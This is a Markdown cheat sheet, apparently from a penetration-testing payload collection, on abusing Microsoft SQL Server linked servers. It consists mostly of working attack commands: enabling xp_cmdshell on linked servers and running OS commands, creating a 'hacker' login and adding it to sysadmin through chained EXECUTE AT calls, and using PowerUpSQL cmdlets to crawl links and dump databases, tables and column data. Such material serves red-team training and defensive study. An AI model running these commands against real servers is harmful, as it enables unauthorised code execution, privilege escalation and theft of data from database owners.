116 lines
4.2 KiB
Markdown
116 lines
4.2 KiB
Markdown
|
# MSSQL - Linked Database
|
||
|
|
|
||
|
|
## Summary
|
||
|
|
|
||
|
|
- [Find Trusted Link](#find-trusted-link)
|
||
|
|
- [Execute Query Through The Link](#execute-query-through-the-link)
|
||
|
|
- [Crawl Links for Instances in the Domain](#crawl-links-for-instances-in-the-domain)
|
||
|
|
- [Crawl Links for a Specific Instance](#crawl-links-for-a-specific-instance)
|
||
|
|
- [Query Version of Linked Database](#query-version-of-linked-database)
|
||
|
|
- [Execute Procedure on Linked Database](#execute-procedure-on-linked-database)
|
||
|
|
- [Determine Names of Linked Databases](#determine-names-of-linked-databases)
|
||
|
|
- [Determine All the Tables Names from a Selected Linked Database](#determine-all-the-tables-names-from-a-selected-linked-database)
|
||
|
|
- [Gather the Top 5 Columns from a Selected Linked Table](#gather-the-top-5-columns-from-a-selected-linked-table)
|
||
|
|
- [Gather Entries from a Selected Linked Column](#gather-entries-from-a-selected-linked-column)
|
||
|
|
|
||
|
|
|
||
|
|
## Find Trusted Link
|
||
|
|
|
||
|
|
|
||
|
|
```sql
|
||
|
|
select * from master..sysservers
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
## Execute Query Through The Link
|
||
|
|
|
||
|
|
```sql
|
||
|
|
-- execute query through the link
|
||
|
|
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||
|
|
select version from openquery("linkedserver", 'select @@version as version');
|
||
|
|
|
||
|
|
-- chain multiple openquery
|
||
|
|
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
|
||
|
|
|
||
|
|
-- execute shell commands
|
||
|
|
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
|
||
|
|
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
|
||
|
|
|
||
|
|
-- create user and give admin privileges
|
||
|
|
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||
|
|
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||
|
|
```
|
||
|
|
|
||
|
|
## Crawl Links for Instances in the Domain
|
||
|
|
|
||
|
|
A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results
|
||
|
|
|
||
|
|
|
||
|
|
```ps1
|
||
|
|
Get-SQLInstanceDomain | Get-SQLServerLink -Verbose
|
||
|
|
select * from master..sysservers
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
## Crawl Links for a Specific Instance
|
||
|
|
|
||
|
|
```ps1
|
||
|
|
Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verbose
|
||
|
|
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
## Query Version of Linked Database
|
||
|
|
|
||
|
|
```ps1
|
||
|
|
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
## Execute Procedure on Linked Database
|
||
|
|
|
||
|
|
```ps1
|
||
|
|
SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local";
|
||
|
|
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
|
||
|
|
SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local";
|
||
|
|
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
|
||
|
|
SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
## Determine Names of Linked Databases
|
||
|
|
|
||
|
|
> tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.
|
||
|
|
|
||
|
|
```ps1
|
||
|
|
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -Verbose
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
## Determine All the Tables Names from a Selected Linked Database
|
||
|
|
|
||
|
|
> The result is TableName which feeds into following query
|
||
|
|
|
||
|
|
|
||
|
|
```ps1
|
||
|
|
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
## Gather the Top 5 Columns from a Selected Linked Table
|
||
|
|
|
||
|
|
> The results are ColumnName and ColumnValue which feed into following query
|
||
|
|
|
||
|
|
|
||
|
|
```ps1
|
||
|
|
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -Verbose
|
||
|
|
```
|
||
|
|
|
||
|
|
## Gather Entries from a Selected Linked Column
|
||
|
|
|
||
|
|
|
||
|
|
```ps1
|
||
|
|
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose
|
||
|
|
```
|
||
|
|
|